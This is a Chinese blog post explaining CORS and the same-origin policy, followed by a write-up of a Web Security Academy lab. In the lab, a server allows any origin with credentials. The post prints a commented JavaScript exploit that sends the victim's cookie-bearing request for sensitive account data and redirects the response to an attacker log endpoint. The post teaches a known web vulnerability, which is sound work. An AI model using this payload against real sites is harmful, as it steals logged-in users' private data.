CORS

CORS-跨域资源共享

跨域资源共享(CORS)是一种浏览器机制,可以对域之外的资源进行受控访问 。但如果网站的cors配置不当,会存在基于跨域的攻击。
现在有好多反向代理、前后端分离,那么跨域问题也会越来越多

了解一个概念:同源策略(同协议、同域名、同端口)

SOP(同源策略)是一种限制性的跨域规范,限制了网站与源域之外的资源进行交互的能力。同源策略是多年前定义的,以应对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私人数据。

利用

Access-Control-Allow-Credentials: true  在返回包中,代表可以传输cookie

例如: test.com与testaaa.com交互就是跨域,正常来说它们只能接收自己域内的数据,但因为配置问题可以带外数据

靶场

这里很明显存在cors,因为Access-Control-Allow-Credentials: true且origin源可以是任意,意味着可以接收任意源的访问

image

url:https://0a4d007804929e6e81edbbe500c9004d.web-security-academy.net/accountDetails 访问后会响应敏感数据key

image

此时可以构造一个恶意js脚本,发给受害者访问,如果他处于登录状态那么他就会自动访问含有敏感数据的请求并将此响应发送到任意地方(dnslog、攻击者服务器日志之类的)那么攻击者就能看到受害者的敏感信息

<script>
var req = new XMLHttpRequest();  //使用XMLHttpRequest对象发送一个get请求到指定url
req.onload = reqListener;      //通过req.onload属性指定一个回调函数reqListener。请求后收到响应将调用此函数进行处理。
req.open('get','有敏感数据的请求包',true);	//使用req.open()方法GET请求方法发送到指定url(含有敏感数据的请求包的url)
req.withCredentials = true;		//将req.withCredentials属性设置为true。这告诉浏览器在发送请求时,包括凭据信息(如cookies)
req.send();		//使用req.send()方法发送HTTP请求。

function reqListener() {	//当服务器响应时执行reqListener函数
    location='/log?key='+this.responseText;
//this.responseText表示从服务器接收到的响应内容。(XMLHttpRequest对象的一个属性)接下来,通过location对象将浏览器重定向到一个新的URL。具体来说,它将浏览器的URL设置为'/log?key='加上this.responseText的值。
};
posted @ 2023-09-20 23:49  h1ck  阅读(74)  评论(0)    收藏  举报